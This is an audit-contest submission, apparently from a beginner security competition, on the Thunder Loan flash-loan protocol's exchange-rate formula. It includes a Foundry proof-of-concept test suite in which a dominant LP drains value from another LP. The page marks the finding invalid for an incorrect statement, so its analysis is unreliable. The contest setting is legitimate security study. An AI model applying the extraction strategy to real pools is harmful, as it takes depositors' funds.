Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

AssetToken.updateExchangeRate multiplies the rate by (totalSupply + fee)/totalSupply, so each fee credits LPs fee*rate instead of fee; once rate > 1e18 LP claims outgrow pool assets and the last redeemers lose principal

Root + Impact

Description

  • Each flash-loan fee should raise the AssetToken exchange rate by exactly enough that total LP claims (totalSupply * rate / 1e18) grow by the fee paid into the AssetToken. Claims then always equal the underlying the AssetToken holds, and every LP can redeem its share.

  • AssetToken.sol L89 computes newRate = r * (S + fee) / S. This adds fee, an amount in underlying units, to totalSupply(), an amount in share units. Total claims therefore rise by fee * r / 1e18, while the flashloan repayment check (ThunderLoan.sol L213, ThunderLoanUpgraded.sol L211) only brings fee tokens into the pool. The formula is correct only at r = 1e18. Because the rate starts at 1e18 and can only increase, every fee after the first over-credits LPs by fee * (r - 1e18) / 1e18. The gap compounds, redeem() pays out at the inflated rate, and the AssetToken ends up holding less than it owes.

// src/protocol/AssetToken.sol L80-L96
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
// 1. Get the current exchange rate
// 2. How big the fee is should be divided by the total supply
// 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5
// if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125
// it should always go up, never down
// newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // @>
// newExchangeRate = 1 (4 + 0.5) / 4
// newExchangeRate = 1.125
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // @>
​
if (newExchangeRate <= s_exchangeRate) {
revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
}
s_exchangeRate = newExchangeRate;
emit ExchangeRateUpdated(s_exchangeRate);
}
​
// src/protocol/ThunderLoan.sol L192-L194 (identical in src/upgradedProtocol/ThunderLoanUpgraded.sol L190-L192)
uint256 fee = getCalculatedFee(token, amount);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee);
​
// src/protocol/ThunderLoan.sol L212-L215 (ThunderLoanUpgraded.sol L210-L213): only `fee` underlying is collected
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
​
// src/protocol/ThunderLoan.sol L174 (ThunderLoanUpgraded.sol L172): redemptions are paid at the inflated rate
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();

Risk

Likelihood:

  • The faulty update runs on every flash loan in both ThunderLoan (L194) and ThunderLoanUpgraded (L192). It needs no privileged role and no special state. After the first fee the rate stays above 1e18, so every later loan over-credits. In V1 the deposit-time update already pushes the rate above 1e18 (1.003e18 in the PoC), so the very first flash loan already over-credits: a 3e18 fee raises claims by 3.009e18.

  • The error per loan is second order, fee * (r - 1e18) / 1e18, so the deficit becomes material only after heavy cumulative volume relative to pool size. In the PoC, 100 full-pool loans on a 1000e18 pool, with cumulative fees equal to 30% of the pool, produce a 49.25e18 deficit (3.8%). Ordinary low-volume use leaves only a small gap.

  • Deliberate extraction requires an LP that holds a dominant share and has the capital to pay fees on full-pool loans. Each loan becomes profitable only once share * rate > 1; in the PoC a 90% LP crosses that threshold at loan 34.

Impact:

  • LP claims exceed the underlying held, and the shortfall falls on whoever redeems last. In the PoC's honest-volume test, LP A (90%) redeems first and receives 1214.33e18 against a fair 1170e18. LP B's redeem(max) reverts with "ERC20: transfer amount exceeds balance". LP B can recover at most 85.67e18 of its 100e18 principal, and 36.5e18 of its shares are left worthless.

  • A dominant LP can pay the fees on its own full-pool flash loans and move value from the other LPs to itself. In the PoC a 90% LP ends with a net profit of 26.17e18 after paying every fee, and the 10% LP is left with exactly 100e18 - 26.17e18 = 73.83e18 of its principal.

  • The defect breaks the protocol's core promise that LPs earn on their deposits without losing them, and it persists after the upgrade because both implementations share AssetToken. The loss stays Medium, not High: it grows roughly with the square of cumulative fee yield, it is a redistribution between LPs that builds up over many loans rather than an immediate drain, and the deliberate variant needs a large, dominant LP position.

Proof of Concept

test/PoC_TL-09.t.sol deploys ThunderLoan (V1) and ThunderLoanUpgraded (V2) behind ERC1967Proxy with the repo's MockPoolFactory, which prices every token at 1e18. The suite has six tests. (1) At rate 1e18 the first fee is credited correctly and claims equal assets. (2) In V2, once the rate is above 1e18, a single loan raises the rate to r*(S+fee)/S, above the solvent r + fee1e18/S, and claims grow by fee + fee(r-1e18)/1e18 while assets grow by exactly fee. (3) After 100 honest loans the rate is 1349252719366507139 against 1.3e18 under a reference model of the fix, so claims are 1349.25e18 against assets of 1300e18; the first redeemer is overpaid and the last redeemer's redeem(max) reverts and it recovers less than its principal. (4) A 90% LP that self-pays fees ends with a net profit equal to the 10% LP's loss. (5) The same over-credit occurs in V1. (6) The rate-2e18 example reproduces 2020e18 of claims against 2010e18 of assets; this test writes the starting state with vm.store and only illustrates the arithmetic. Run it with: forge test --match-path test/PoC_TL-09.t.sol -vv

File test/PoC_TL-09.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-09.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
​
/// Surface shared by ThunderLoan (V1) and ThunderLoanUpgraded (V2).
interface ITL09 {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function repay(IERC20 token, uint256 amount) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
}
​
/// A well-behaved flash-loan receiver: repays amount + fee through repay().
/// It must already hold `fee` tokens (pre-funded by whoever pays the fee).
contract TL09Receiver {
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
returns (bool)
{
IERC20(token).approve(msg.sender, amount + fee);
ITL09(msg.sender).repay(IERC20(token), amount + fee);
return true;
}
}
​
contract PoC_TL09 is Test {
uint256 constant E = 1e18;
​
MockPoolFactory factory;
ERC20Mock token;
TL09Receiver receiver;
​
address lpA = makeAddr("lpA"); // 90% LP (honest in the volume test, attacker in the exploit test)
address lpB = makeAddr("lpB"); // 10% LP, the last redeemer
address borrower = makeAddr("borrower"); // honest third-party flash borrower who pays the fees
​
function setUp() public {
factory = new MockPoolFactory(); // MockTSwapPool prices every token at 1e18 WETH
token = new ERC20Mock();
factory.createPool(address(token));
receiver = new TL09Receiver();
}
​
// ------------------------------------------------------------------ helpers
​
function _deployV2() internal returns (ITL09) {
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
ThunderLoanUpgraded tl = ThunderLoanUpgraded(address(new ERC1967Proxy(address(impl), "")));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(token)), true);
return ITL09(address(tl));
}
​
function _deployV1() internal returns (ITL09) {
ThunderLoan impl = new ThunderLoan();
ThunderLoan tl = ThunderLoan(address(new ERC1967Proxy(address(impl), "")));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(token)), true);
return ITL09(address(tl));
}
​
function _deposit(ITL09 tl, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(tl), amt);
tl.deposit(IERC20(address(token)), amt);
vm.stopPrank();
}
​
/// `payer` funds the fee, then takes a flash loan of `amt` that is repaid in full.
function _loan(ITL09 tl, address payer, uint256 amt) internal returns (uint256 fee) {
fee = tl.getCalculatedFee(IERC20(address(token)), amt);
vm.prank(payer);
token.transfer(address(receiver), fee);
vm.prank(payer);
tl.flashloan(address(receiver), IERC20(address(token)), amt, "");
}
​
/// Total underlying owed to all share holders at the current exchange rate.
function _claims(AssetToken at) internal view returns (uint256) {
return at.totalSupply() * at.getExchangeRate() / E;
}
​
function _assets(AssetToken at) internal view returns (uint256) {
return token.balanceOf(address(at));
}
​
// ------------------------------------------------------------------ tests
​
/// BASELINE: at rate == 1e18 the L89 formula coincides with the correct one,
/// so the first fee is credited exactly and the books balance.
function test_Baseline_FirstFeeAtRateOneIsSolvent() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
token.mint(borrower, 3 * E);
​
uint256 fee = _loan(tl, borrower, 1000 * E);
assertEq(fee, 3 * E);
assertEq(at.getExchangeRate(), 1.003e18, "first fee at rate 1: 1e18 * 1003/1000");
assertEq(_claims(at), _assets(at), "books balance after the first fee (rate was 1e18)");
console.log("[baseline] rate", at.getExchangeRate(), "claims == assets", _assets(at));
}
​
/// Once rate > 1e18, every fee over-credits LPs by exactly fee*(r-1e18)/1e18:
/// claims rise by fee*r/1e18 while the pool receives only `fee`.
function test_PerLoanOverCredit_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
token.mint(borrower, 1_000_000 * E);
for (uint256 i; i < 50; i++) {
_loan(tl, borrower, 1000 * E);
}
​
uint256 S = at.totalSupply();
uint256 r = at.getExchangeRate();
uint256 claimsBefore = _claims(at);
uint256 assetsBefore = _assets(at);
​
uint256 fee = _loan(tl, borrower, 1000 * E);
​
uint256 rNew = at.getExchangeRate();
uint256 rCorrect = r + fee * E / S;
assertEq(rNew, r * (S + fee) / S, "contract uses r*(S+fee)/S");
assertGt(rNew, rCorrect, "new rate exceeds the solvent rate r + fee*1e18/S");
​
uint256 dClaims = _claims(at) - claimsBefore;
uint256 dAssets = _assets(at) - assetsBefore;
assertEq(dAssets, fee, "pool receives exactly the fee");
assertApproxEqAbs(dClaims - dAssets, fee * (r - E) / E, 1e6, "over-credit == fee*(r-1)");
console.log("[per-loan] rate before ", r);
console.log("[per-loan] rate after (bug) ", rNew);
console.log("[per-loan] rate after (fix) ", rCorrect);
console.log("[per-loan] claims increase ", dClaims);
console.log("[per-loan] assets increase ", dAssets);
}
​
/// Ordinary honest volume (100 loans of 1000e18 on a 1000e18 pool, fees paid by a
/// third party) leaves claims of 1349.25e18 against 1300e18 of assets. The first
/// LP to exit is overpaid; the last LP's redeem(max) reverts and the most it can
/// recover is below its own principal.
function test_HonestVolume_DeficitAndLastRedeemerLosesPrincipal_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 900 * E);
_deposit(tl, lpB, 100 * E);
uint256 S = at.totalSupply();
assertEq(S, 1000 * E);
​
token.mint(borrower, 300 * E);
uint256 rCorrect = E; // reference model with the fix: r += fee*1e18/S
for (uint256 i; i < 100; i++) {
uint256 fee = _loan(tl, borrower, 1000 * E);
rCorrect += fee * E / S;
}
​
uint256 r = at.getExchangeRate();
assertEq(_assets(at), 1300 * E, "pool holds deposits + 300e18 of fees");
assertEq(r, 1_349_252_719_366_507_139, "buggy compounded rate");
assertEq(rCorrect, 1.3e18, "solvent rate");
assertEq(S * rCorrect / E, _assets(at), "fixed formula keeps the books balanced");
assertGt(_claims(at), _assets(at), "buggy rate: claims exceed assets");
console.log("[volume] rate (bug) ", r);
console.log("[volume] rate (fix) ", rCorrect);
console.log("[volume] claims ", _claims(at));
console.log("[volume] assets ", _assets(at));
console.log("[volume] deficit ", _claims(at) - _assets(at));
​
// lpA exits first and is paid at the inflated rate (fair share would be 1170e18).
vm.prank(lpA);
tl.redeem(IERC20(address(token)), type(uint256).max);
uint256 lpAOut = token.balanceOf(lpA);
assertGt(lpAOut, 1170 * E, "first redeemer receives more than its fair 90%");
console.log("[volume] lpA received", lpAOut);
​
// lpB (last redeemer) cannot redeem its full balance.
vm.prank(lpB);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tl.redeem(IERC20(address(token)), type(uint256).max);
​
// The most lpB can get is whatever is left, which is below its 100e18 principal.
uint256 left = _assets(at);
uint256 sharesForRest = left * E / r;
vm.prank(lpB);
tl.redeem(IERC20(address(token)), sharesForRest);
uint256 lpBOut = token.balanceOf(lpB);
console.log("[volume] lpB received", lpBOut);
console.log("[volume] lpB stranded shares", at.balanceOf(lpB));
assertLt(lpBOut, 100 * E, "last redeemer loses principal");
assertLt(lpBOut, 130 * E, "and far less than its fair 10% (130e18)");
}
​
/// Exploit: a 90% LP self-funds fees on full-pool flash loans. Each loan where
/// alpha*r > 1 raises its claim by more than the fee it paid: gain = (alpha*r-1)*fee.
/// After 100 loans it exits first with a net profit, and the 10% LP is left below
/// principal by exactly that amount.
function test_Exploit_DominantLPExtractsFromOtherLP_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 900 * E); // attacker
_deposit(tl, lpB, 100 * E); // victim
uint256 S = at.totalSupply();
​
uint256 budget = 1000 * E; // fee float; anything unspent is returned to the attacker's wallet
token.mint(lpA, budget);
uint256 attackerStart = 900 * E + budget; // deposit + fee float
​
bool checkedProfitableStep;
for (uint256 i; i < 100; i++) {
uint256 r = at.getExchangeRate();
uint256 claimBefore = at.balanceOf(lpA) * r / E;
uint256 fee = _loan(tl, lpA, _assets(at)); // borrow the whole pool, attacker pays the fee
uint256 claimAfter = at.balanceOf(lpA) * at.getExchangeRate() / E;
​
// alpha*r > 1 <=> 900*r > 1000e18
if (!checkedProfitableStep && 900 * r > 1000 * E) {
uint256 gain = claimAfter - claimBefore;
assertGt(gain, fee, "self-paid fee returns more than it costs");
assertApproxEqAbs(gain - fee, (900 * r / 1000 - E) * fee / E, 1e6, "gain == (alpha*r-1)*fee");
console.log("[exploit] first profitable loan i =", i);
console.log("[exploit] fee paid ", fee);
console.log("[exploit] claim increase ", gain);
checkedProfitableStep = true;
}
}
assertTrue(checkedProfitableStep);
assertEq(S, at.totalSupply());
​
vm.prank(lpA);
tl.redeem(IERC20(address(token)), type(uint256).max);
uint256 attackerEnd = token.balanceOf(lpA);
assertGt(attackerEnd, attackerStart, "attacker ends with more than deposit + fees spent");
uint256 profit = attackerEnd - attackerStart;
​
uint256 left = _assets(at);
console.log("[exploit] attacker net profit", profit);
console.log("[exploit] left for victim ", left);
console.log("[exploit] victim claim (bug) ", at.balanceOf(lpB) * at.getExchangeRate() / E);
assertEq(left, 100 * E - profit, "victim's loss of principal == attacker's profit");
assertLt(left, 100 * E, "victim cannot recover its 100e18 principal");
​
vm.prank(lpB);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tl.redeem(IERC20(address(token)), type(uint256).max);
}
​
/// Same formula in V1: the per-loan over-credit fee*(r-1e18)/1e18 appears in the
/// original implementation too (there r > 1e18 already after the first deposit).
function test_PerLoanOverCredit_V1() public {
ITL09 tl = _deployV1();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
uint256 r = at.getExchangeRate();
assertGt(r, E, "V1 deposit alone already raised the rate");
token.mint(borrower, 3 * E);
​
uint256 claimsBefore = _claims(at);
uint256 assetsBefore = _assets(at);
uint256 fee = _loan(tl, borrower, 1000 * E);
uint256 dClaims = _claims(at) - claimsBefore;
uint256 dAssets = _assets(at) - assetsBefore;
​
assertEq(dAssets, fee);
assertGt(dClaims, dAssets, "claims rise by more than the fee collected");
assertApproxEqAbs(dClaims - dAssets, fee * (r - E) / E, 1e6, "over-credit == fee*(r-1)");
console.log("[V1] rate before loan ", r);
console.log("[V1] claims increase ", dClaims);
console.log("[V1] assets increase ", dAssets);
}
​
/// Reproduces the finding's attack-path arithmetic exactly. The balanced state
/// (S=1000e18, r=2e18, 2000e18 held) is written directly with vm.store because
/// the buggy formula cannot reach a balanced r=2e18 on its own; fee rate is set
/// to 1% by the owner so a 1000e18 loan pays fee 10e18.
function test_AttackPathArithmetic_Rate2_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
vm.store(address(at), bytes32(uint256(5)), bytes32(uint256(2e18))); // s_exchangeRate
assertEq(at.getExchangeRate(), 2e18, "slot 5 is s_exchangeRate");
token.mint(address(at), 1000 * E);
assertEq(_claims(at), _assets(at), "start balanced: 2000e18 vs 2000e18");
​
ThunderLoanUpgraded(address(tl)).updateFlashLoanFee(1e16);
token.mint(borrower, 10 * E);
uint256 fee = _loan(tl, borrower, 1000 * E);
assertEq(fee, 10 * E);
​
assertEq(at.getExchangeRate(), 2.02e18, "rate becomes 2.02e18 (correct: 2.01e18)");
assertEq(_claims(at), 2020 * E);
assertEq(_assets(at), 2010 * E);
console.log("[rate2] claims", _claims(at), "assets", _assets(at));
}
}

Recommended Mitigation

--- a/src/protocol/AssetToken.sol
+++ b/src/protocol/AssetToken.sol
@@ -84,10 +84,10 @@ contract AssetToken is ERC20 {
// if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125
// it should always go up, never down
- // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
- // newExchangeRate = 1 (4 + 0.5) / 4
- // newExchangeRate = 1.125
- uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
+ // fee is in underlying units and totalSupply is in share units, so spread the fee
+ // across all shares: total claims then rise by exactly `fee`
+ // newExchangeRate = oldExchangeRate + fee * PRECISION / totalSupply
+ uint256 newExchangeRate = s_exchangeRate + (fee * EXCHANGE_RATE_PRECISION) / totalSupply();
if (newExchangeRate <= s_exchangeRate) {
revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!